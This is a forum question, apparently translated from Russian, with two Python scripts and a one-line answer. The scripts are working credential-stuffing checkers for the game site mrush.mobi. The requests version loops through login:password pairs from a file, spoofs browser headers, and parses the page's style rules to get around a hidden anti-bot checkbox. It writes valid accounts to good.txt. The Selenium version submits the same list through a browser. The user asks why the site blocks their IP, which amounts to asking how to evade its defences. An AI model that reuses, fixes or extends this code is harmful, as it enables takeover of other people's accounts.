Why blocks ip through request?

Question

Python

When I try to log in via Request Post, my IP is blocked.
And if I try to log in to the same account only through Selenium, everything goes fine
Code on Request requests

import requests
from bs4 import BeautifulSoup as bs4
import time
import random
import threading

accs = list(set(open("data.txt", encoding="utf-8").read().split('\n')))
def check():
    while accs:
        acc = random.choice(accs)
        accs.remove(acc)
        login = acc.split(":")[0]
        password = acc.split(":")[1]
        while True:
             try:
                ses = requests.Session()
                ses.headers={
                    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
                    "Accept-Encoding": "gzip, deflate",
                    "Accept-Languag": "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7",
                    "Upgrade-Insecure-Requests": "1",
                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"
                    }
                page = ses.get("http://mrush.mobi/welcome").text
                soup = bs4(page, 'html.parser')
                data = {
                    "name": login,
                    "password": password
                    }
                styles = soup.find_all('style')
                for style in styles:
                    if not "none" in str(style):
                        if not "hidden" in str(style):
                            try:
                                str(style).split('margin-left: ')[1].split('px')[0]
                            except:
                                find = str(style).split('.')[1].split('{')[0]
                div = soup.find('div', {"class": find})
                id = str(div).split('" type="checkbox" value=""/>я не')[0].split('"')[-1]
                data[id] = ""
                login_req = ses.post("http://mrush.mobi/login", data=data)
                if not login_req.url.startswith("http://mrush.mobi/welcome?error="):
                    open("good.txt", "a", encoding="utf-8").write("{}:{}\n".format(login, password))
                    print("{}:{} - Good".format(login, password))
                    break
                else:
                    print("{}:{} - Bad".format(login, password))
                    break
             except Exception as e:
                print(e)
            
for i in range(1):
    thread = threading.Thread(target=check)
    thread.start()

Selenium Code

from selenium import webdriver
from selenium.webdriver.common.by import By
import time

def todo(driver, log, passw):
    
    url = 'http://mrush.mobi/'

    driver.get(url)
    #Авторизация
    print(log)
    driver.find_element_by_css_selector("input[name='name']").send_keys(log)
    driver.find_element_by_css_selector("input[name='password']").send_keys(passw)
    checkboxes = driver.find_elements(By.XPATH, '//input[@type="checkbox"]')
    for box in checkboxes:
        try:
            box.click()
        except Exception:
            pass
    driver.find_element_by_css_selector("input[type='submit']").click()
    #Выход из аккаунта
    logout = driver.get("http://mrush.mobi/logout");

driver = webdriver.Chrome('C:/Users/Admin/Desktop/mrush/chromedriver')
while (True):
    with open('data.txt', 'r', encoding="utf-8") as f:
        file = f.read().split('\n')
    for line in file:
        ln = line.split(':')
        todo(driver, ln[0], ln[1])

Answer 1

Because many sites use protection from parsers.